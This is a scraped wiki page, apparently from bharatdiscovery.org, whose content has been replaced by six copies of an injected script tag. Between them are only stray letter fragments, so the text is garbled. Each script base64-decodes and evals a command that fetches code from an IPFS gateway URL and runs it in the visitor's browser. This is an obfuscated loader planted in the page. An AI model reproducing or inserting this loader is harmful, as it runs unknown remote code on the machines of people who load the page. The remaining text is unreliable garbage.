<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=अब्द&oldid=634198"